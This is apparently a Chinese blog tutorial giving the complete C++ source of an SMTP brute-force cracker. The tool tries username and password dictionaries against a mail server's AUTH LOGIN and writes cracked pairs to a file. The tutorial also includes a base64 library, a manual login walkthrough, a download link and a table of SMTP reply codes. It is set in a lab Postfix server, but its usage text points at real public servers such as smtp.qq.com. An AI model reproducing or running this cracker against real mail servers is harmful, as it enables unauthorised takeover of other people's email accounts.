這里實現一個SMTP的暴力破解程序,實驗搭建的是postfix服務器,猜解用戶名字典(user.txt)和密碼字典(password.txt)中匹配的用戶名密碼對,
程序開發環境是:
WinXP VC6.0
參考資料:
SMTP-E-mail密碼暴力破解: http://www.redicecn.com/html/yuanchuangchengxu/20090226/39.html
Encoding and decoding base 64 with c++: http://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp
這里要首先說明的是,參考資料“SMTP-E-mail密碼暴力破解”中的base64算法存在問題,不能得到正確的結果,於是在網上找到了一個可以使用的base64的C++版的算法實現。而且,這個程序只能一次暴力猜解單個賬戶的密碼。
另外提供一個在線的base64編碼/解碼以供檢測: http://www1.tc711.com/tool/BASE64.htm
一、實驗環境說明
實驗采用的是postfix服務器,關於郵件服務器的搭建這里就不做說明,需要費些功夫,網上也有很多的參考資料。
郵箱域名是: mail.starnight.com SMTP端口:25
郵箱服務器內網地址是: 192.168.1.107 -- mail.starnight.com
我們需要先修改一下hosts文件的內容: C:\WINDOWS\system32\drivers\etc\hosts -- winxp (其他系統請自己查找hosts文件位置)
增加如下記錄:格式如:
your-ip-address domain-name
192.168.1.107 mail.starnight.com
telnet上郵箱服務器(mail.starnight.com)的25號端口,並進行用戶名密碼驗證。
telnet mail.starnight.com 25
【說明】
1、helo/ehlo: 類似於跟遠程服務器打招呼,但ehlo返回的消息更為豐富。
2、進行用戶名密碼認證:
auth login // 用戶認證, 明文 334 VXNlcm5hbWU6 // 服務器回傳 狀態碼334 base64編碼后的Username: dGVzdDE= // base64編碼的"test1" 334 UGFzc3dvcmQ6 // 服務器回傳 狀態碼334 base64編碼后的Password:
MTIzNDU2 // base64編碼的"123456"
235 2.7.0 Authentication successful //服務器回傳狀態嗎235 認證成功
二、 Base64編碼/解碼算法C++實現
這里可以直接參考上面給出的鏈接,為了避免存在可能訪問不了的情況,現斗膽照搬過來:
1、base64.h
#include <string> std::string base64_encode(unsigned char const* , unsigned int len); std::string base64_decode(std::string const& s);
2、base64.cpp
/* base64.cpp and base64.h Copyright (C) 2004-2017 René Nyffenegger This source code is provided 'as-is', without any express or implied warranty. In no event will the author be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this source code must not be misrepresented; you must not claim that you wrote the original source code. If you use this source code in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original source code. 3. This notice may not be removed or altered from any source distribution. René Nyffenegger rene.nyffenegger@adp-gmbh.ch */ #include "base64.h" #include <iostream> static const std::string base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789+/"; static inline bool is_base64(unsigned char c) { return (isalnum(c) || (c == '+') || (c == '/')); } std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) { std::string ret; int i = 0; int j = 0; unsigned char char_array_3[3]; unsigned char char_array_4[4]; while (in_len--) { char_array_3[i++] = *(bytes_to_encode++); if (i == 3) { char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); char_array_4[3] = char_array_3[2] & 0x3f; for(i = 0; (i <4) ; i++) ret += base64_chars[char_array_4[i]]; i = 0; } } if (i) { for(j = i; j < 3; j++) char_array_3[j] = '\0'; char_array_4[0] = ( char_array_3[0] & 0xfc) >> 2; char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); char_array_4[3] = char_array_3[2] & 0x3f; for (j = 0; (j < i + 1); j++) ret += base64_chars[char_array_4[j]]; while((i++ < 3)) ret += '='; } return ret; } std::string base64_decode(std::string const& encoded_string) { int in_len = encoded_string.size(); int i = 0; int j = 0; int in_ = 0; unsigned char char_array_4[4], char_array_3[3]; std::string ret; while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { char_array_4[i++] = encoded_string[in_]; in_++; if (i ==4) { for (i = 0; i <4; i++) char_array_4[i] = base64_chars.find(char_array_4[i]); char_array_3[0] = ( char_array_4[0] << 2 ) + ((char_array_4[1] & 0x30) >> 4); char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; for (i = 0; (i < 3); i++) ret += char_array_3[i]; i = 0; } } if (i) { for (j = i; j <4; j++) char_array_4[j] = 0; for (j = 0; j <4; j++) char_array_4[j] = base64_chars.find(char_array_4[j]); char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; for (j = 0; (j < i - 1); j++) ret += char_array_3[j]; } return ret; }
3、test.cpp
#include "base64.h" #include <iostream> int main() { const std::string s = "René Nyffenegger\n" "http://www.renenyffenegger.ch\n" "passion for data\n"; std::string encoded = base64_encode(reinterpret_cast<const unsigned char*>(s.c_str()), s.length()); std::string decoded = base64_decode(encoded); std::cout << "encoded: " << std::endl << encoded << std::endl << std::endl; std::cout << "decoded: " << std::endl << decoded << std::endl; return 0; }
三、暴力破解程序實現
1、實現代碼
代碼中添加了相當的注釋,應該不難理解,跟原"SMTP-E-mail密碼暴力破解"相比,不僅修正了base64算法,而且可以針對用戶名字典-密碼字典的暴力猜解。
#include <iostream> #include <winsock2.h> #include "base64.h" using namespace std; #pragma comment(lib, "ws2_32.lib") FILE *fpPass, *fpUser, *fpResult; // 文件描述符,用戶名、密碼文件、保存破解文件指針 SOCKET sock; // 套接字描述符 char send_wait(char *, char *, char); // 函數聲明:發送數據並等待接受響應碼 void usage(); // 程序使用說明 void initialsocket(); // 重置連接 struct sockaddr_in destAddr; // 目的地址 int main( int argc, char *argv[] ) { WSADATA wsaData; DWORD starttime; // 程序運行的起始時間 struct hostent *host; // 域名轉換 char userFile[101]; // 用戶名字典文件 char passFile[101]; // 密碼字典文件路徑 char username[21]; // 用戶名 char password[21]; // 密碼 int k = 0, i = 0, j = 0; // 已讀取密碼文件行數 char *ICMP_DEST_IP; // DNS查詢到的IP地址 memset(passFile, 0, sizeof(passFile)); memset(userFile, 0, sizeof(userFile)); // 打印使用幫助 if( 1 == argc ) { usage(); return -1; } for( i = 0; i < argc; i++ ) { // 用戶名字典文件 if(strstr(argv[i], "-u")) { if(strlen(argv[i+1]) > 100) { printf("用戶名字典文件名太長!\n"); return 1; } strncpy(userFile, argv[i+1], strlen(argv[i+1])); // 拷貝密碼字典文件路徑 i++; } // 密碼字典文件 if(strstr(argv[i], "-p")) { if(strlen(argv[i+1]) > 100) { printf("密碼字典文件名太長!\n"); return 1; } strncpy(passFile, argv[i+1], strlen(argv[i+1])); // 拷貝密碼字典文件路徑 i++; } if(strstr(argv[i], "-?")) // 幫助 { usage(); return 3; } } // 判斷用戶名和密碼文件路徑是否為空 if(strlen(userFile) == 0 || strlen(passFile) == 0) { printf("請指定用戶名和密碼字典路徑!\n"); usage(); return 4; } printf("userFile:%s \t passFile:%s\n", userFile, passFile); // 最后一個參數輸入域名 ICMP_DEST_IP = argv[argc-1]; if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { printf("套接字版本協商出錯!\n"); WSACleanup(); return 5; } // 域名解析 host = gethostbyname(ICMP_DEST_IP); if(NULL == host) { printf("無法解析主機%s的IP地址!\n", ICMP_DEST_IP); WSACleanup(); return 6; } else // 使用獲取到的第一個IP地址 { ICMP_DEST_IP = inet_ntoa(*(struct in_addr*)host->h_addr_list[0]); printf("server ip : %s\n", ICMP_DEST_IP); } // 填寫目的地址結構體: 協議、地址、端口 SMTP:25 memset(&destAddr, 0, sizeof(destAddr)); destAddr.sin_family = AF_INET; destAddr.sin_addr.s_addr = inet_addr(ICMP_DEST_IP); destAddr.sin_port = htons(25); // 以只讀打開用戶名、密碼文件、破解成功的結果 fpUser = fopen(userFile, "r"); fpResult = fopen("result.txt", "w"); if( NULL == fpUser ) { printf("打開文件失敗,請檢查輸入文件是否存在!\n"); WSACleanup(); return 7; } initialsocket(); // 初始化socket連接 starttime = GetTickCount(); // 獲取當前偏移時間 memset(username, 0, sizeof(username)); while(fgets(username, 20, fpUser)) { j++; // username[strlen(username)-1] = '\0'; if(username[strlen(username)-1]==0x0A) username[strlen(username)-1]=0; memset(password, 0, sizeof(password)); fpPass = fopen(passFile, "r"); // 重新打開文件 while (fgets(password, 20, fpPass)) { k++; // password[strlen(password)-1] = '\0'; if(password[strlen(password)-1]==0x0A) password[strlen(password)-1]=0; printf("%d:%d username:%s \t password:%s\n", j, k, username, password); //發送AUTH LOGIN命令,並起到接收響應碼334 if(send_wait("AUTH LOGIN", "334", 0) != 2) continue; if(send_wait(username, "334", 1) != 2) continue; if(send_wait(password, "235", 1) != 2) continue; else { printf("------------ find a pair ---------------\n"); printf("username:%s \t password:%s\n", username, password); printf("----------------------------------------\n"); // 將保存的結果寫入到文件中 fputs(username, fpResult); fputs(":", fpResult); fputs(password, fpResult); fputs("\n", fpResult); // 發送quit消息,退出登錄狀態,再初始化連接 if(send_wait("QUIT", "221", 0) != 2) printf("disconnected failed!!!\n"); else printf("disconnected from remote mail server...\n"); initialsocket(); memset(username, 0, sizeof(username)); break; fclose(fpPass); } } } printf("程序運行耗時:%ds:%dms\n", ((GetTickCount()-starttime)) / 1000, ((GetTickCount()-starttime)) % 1000 ); fclose(fpPass); closesocket(sock); WSACleanup(); return 0; } /** ** 發送數據並等待接受響應碼 ** 參數說明: command: 發送的命令、 responseCode: 期待接受的響應碼、 isEncode: 是否需要base64編碼(1表示需要,0表示不需要) ** 返回值: -1:發送失敗、 0:接收數據出錯、 1:沒有成功接收到響應碼 、 2:成功接收到響應碼 */ char send_wait(char *command, char *responseCode, char isEncode) { // unsigned char *base64; char smtp_data[101]; // 提交給SMTP服務器的數據 char recvBuf[201]; // 接收數據緩沖區 DWORD starttime; // 開始時間 memset(smtp_data, 0, sizeof(smtp_data)); if(isEncode) // 需要進行base64編碼 { std::string encoded = base64_encode(reinterpret_cast<const unsigned char*>((string(command).c_str())), string(command).length()); printf("encode : %s\n", encoded.c_str()); strcpy(smtp_data, encoded.c_str()); } else { strcpy(smtp_data, command); } // 加上換行符 smtp_data[strlen(smtp_data)] = 0x0D; smtp_data[strlen(smtp_data)] = 0x0A; if(SOCKET_ERROR == send(sock, smtp_data, strlen(smtp_data), 0)) { printf("發送請求出錯!\n"); return -1; } memset(recvBuf, 0, sizeof(recvBuf)); starttime = GetTickCount(); while(1) { // 設置2s的超時時間 if(GetTickCount() - starttime > 2000) { printf("timeout...\n"); return 0; } if(SOCKET_ERROR == recv(sock, recvBuf, 200, 0)) { printf("接收信息出錯"); return 0; } else { printf("recvBuf:==# %s \n", recvBuf); if(NULL == strstr(recvBuf, responseCode)) { if(strstr(recvBuf, "421") || strstr(recvBuf, "451")) initialsocket(); // 重置socket連接 return 1; } else return 2; } } } // 程序使用說明 void usage() { printf("============================E-mail密碼暴力破解工具=============================\n"); printf("By RedIce:redice@see.xidian.edu.cn\n"); printf("Modified by starnight(starnight_cyber@foxmail.com) -- 2017.3.31 \n"); printf("注意:國內部分SMTP服務器有防暴力破解設置(eg. smtp.126.com)\n"); printf("================================================================================\n"); printf("Usage: SMTPBruteForce.exe -u pathToUsername -p pathToPassword smtpServerAddress\n"); printf("Options:\n\n"); printf(" -u pathToUsername:指定用戶名字典文件\n"); printf(" -f pathToPassword:指定密碼字典文件\n"); printf(" -? 顯示該幫助信息\n\n"); printf(" smtpServerAddress: 郵箱服務器地址,如smtp.qq.com\n"); } void initialsocket() { char recvBuf[201]; // 接收服務器返回數據緩沖區 int timeout = 3000; closesocket(sock); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 創建套接字 if(INVALID_SOCKET == sock) { printf("創建套接字出錯!\n"); WSACleanup(); exit(0); } // 連接目標主機 if(SOCKET_ERROR == connect(sock, (SOCKADDR*)&destAddr, sizeof(destAddr))) { printf("連接目標主機失敗!.\n"); closesocket(sock); WSACleanup(); exit(0); } // 設置超時時間 if(SOCKET_ERROR == setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout))) { printf("設置套接字超時失敗!.\n"); closesocket(sock); WSACleanup(); exit(0); } memset(recvBuf, 0, sizeof(recvBuf)); if(SOCKET_ERROR == recv(sock, recvBuf, 200, 0)) { printf("接收連接信息出錯!.\n"); closesocket(sock); WSACleanup(); exit(0); } else { if(strstr(recvBuf, "554")) { printf("該服務器有防暴力破解設置,您的IP地址被臨時禁制連接,請稍后再試...\n"); printf("From SMTP Server : \n%s\n", recvBuf); closesocket(sock); WSACleanup(); exit(0); } } // 發送"EHLO starnight.com"命令,並期待接收響應碼250 send_wait("EHLO mail.starnight.com", "250", 0); }
2、使用方法說明Usage:
Usage: SMTPBruteForce.exe -u pathToUsername -p pathToPassword smtpServerAddress Options: -u pathToUsername:指定用戶名字典文件 -f pathToPassword:指定密碼字典文件 -? 顯示該幫助信息 smtpServerAddress: 郵箱服務器地址,如smtp.qq.com
3、暴力破解測試
C:\code\SMTPBruteForce\Debug>SMTPBruteForce.exe -u user.txt -p password.txt mail.starnight.com
實驗結果截圖:
值得說明的是,這種驗證方式會比較慢...
源代碼百度雲分享: 鏈接: https://pan.baidu.com/s/1o88st66 密碼: ubvw
四、SMTP狀態碼
Code Meaning 200 (nonstandard success response, see rfc876) 211 System status, or system help reply 214 Help message 220 <domain> Service ready 221 <domain> Service closing transmission channel 250 Requested mail action okay, completed 251 User not local; will forward to <forward-path> 252 Cannot VRFY user, but will accept message and attempt delivery 354 Start mail input; end with <CRLF>.<CRLF> 421 <domain> Service not available, closing transmission channel 450 Requested mail action not taken: mailbox unavailable 451 Requested action aborted: local error in processing 452 Requested action not taken: insufficient system storage 500 Syntax error, command unrecognised 501 Syntax error in parameters or arguments 502 Command not implemented 503 Bad sequence of commands 504 Command parameter not implemented 521 <domain> does not accept mail (see rfc1846) 530 Access denied (???a Sendmailism) 550 Requested action not taken: mailbox unavailable 551 User not local; please try <forward-path> 552 Requested mail action aborted: exceeded storage allocation 553 Requested action not taken: mailbox name not allowed 554 Transaction failed
SMTP狀態碼:
http://www.greenend.org.uk/rjk/tech/smtpreplies.html
https://tools.ietf.org/rfc/rfc4954.txt
中文參考:
http://blog.sina.com.cn/s/blog_648d85ef0100yg1t.html
http://www.codeweblog.com/smtp%E7%8A%B6%E6%80%81%E7%A0%81/
最后,歡迎大家跟我交流!